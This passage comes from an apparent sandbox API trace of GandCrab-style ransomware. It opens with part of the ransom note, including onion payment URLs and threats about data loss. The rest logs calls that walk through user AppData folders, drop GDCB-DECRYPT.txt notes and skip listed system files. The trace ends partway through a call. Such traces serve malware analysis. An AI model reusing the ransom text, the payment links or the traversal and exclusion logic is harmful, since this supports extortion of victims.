http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.756] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0053.756] CloseHandle (hObject=0x508) returned 1 [0053.756] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned 101 [0053.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0053.757] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5b8530 [0053.757] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.757] FindNextFileW (in: hFindFile=0x5b8530, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0053.757] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.757] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.757] FindNextFileW (in: hFindFile=0x5b8530, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0053.757] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.757] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt" [0053.757] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0053.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0053.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0053.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.757] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.757] FindNextFileW (in: hFindFile=0x5b8530, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0053.757] lstrcmpW (lpString1="settings.sol", lpString2=".") returned 1 [0053.757] lstrcmpW (lpString1="settings.sol", lpString2="..") returned 1 [0053.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0053.758] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113 [0053.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113 [0053.758] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.758] FindNextFileW (in: hFindFile=0x5b8530, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0053.758] FindClose (in: hFindFile=0x5b8530 | out: hFindFile=0x5b8530) returned 1 [0053.758] FindNextFileW (in: hFindFile=0x5b83b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0053.758] FindClose (in: hFindFile=0x5b83b0 | out: hFindFile=0x5b83b0) returned 1 [0053.758] FindNextFileW (in: hFindFile=0x5b8430, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.758] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.758] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt" [0053.758] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0053.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0053.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0053.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0053.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.759] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.759] FindNextFileW (in: hFindFile=0x5b8430, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0053.759] FindClose (in: hFindFile=0x5b8430 | out: hFindFile=0x5b8430) returned 1 [0053.759] FindNextFileW (in: hFindFile=0x5b7eb0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.759] FindClose (in: hFindFile=0x5b7eb0 | out: hFindFile=0x5b7eb0) returned 1 [0053.759] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.759] FindClose (in: hFindFile=0x565640 | out: hFindFile=0x565640) returned 1 [0053.759] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.759] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.759] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt" [0053.759] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0053.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0053.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0053.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.760] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.760] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.760] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.760] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.760] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.760] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0 [0053.760] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.760] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.760] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0053.760] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0053.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0053.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0053.760] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.760] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned 48 [0053.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*" [0053.760] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x565640 [0053.761] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.761] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.761] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.761] lstrcmpW (lpString1="AddIns", lpString2=".") returned 1 [0053.761] lstrcmpW (lpString1="AddIns", lpString2="..") returned 1 [0053.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" [0053.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned 54 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.761] lstrcmpW (lpString1="Bibliography", lpString2=".") returned 1 [0053.761] lstrcmpW (lpString1="Bibliography", lpString2="..") returned 1 [0053.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0053.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned 60 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.761] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1 [0053.761] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1 [0053.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" [0053.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned 59 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.761] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0053.761] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0053.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0053.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned 54 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.761] lstrcmpW (lpString1="Document Building Blocks", lpString2=".") returned 1 [0053.761] lstrcmpW (lpString1="Document Building Blocks", lpString2="..") returned 1 [0053.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0053.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 72 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.761] lstrcmpW (lpString1="Excel", lpString2=".") returned 1 [0053.761] lstrcmpW (lpString1="Excel", lpString2="..") returned 1 [0053.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0053.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned 53 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.761] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0053.761] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0053.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0053.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 65 [0053.761] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="MMC", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="MMC", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned 51 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="MS Project", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="MS Project", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned 58 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned 55 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned 54 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="OneNote", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="OneNote", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned 55 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="Outlook", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="Outlook", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned 55 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="PowerPoint", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="PowerPoint", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned 58 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="Proof", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="Proof", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned 53 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="Protect", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="Protect", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned 55 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="Speech", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="Speech", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" [0053.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned 54 [0053.762] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.762] lstrcmpW (lpString1="SystemCertificates", lpString2=".") returned 1 [0053.762] lstrcmpW (lpString1="SystemCertificates", lpString2="..") returned 1 [0053.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") 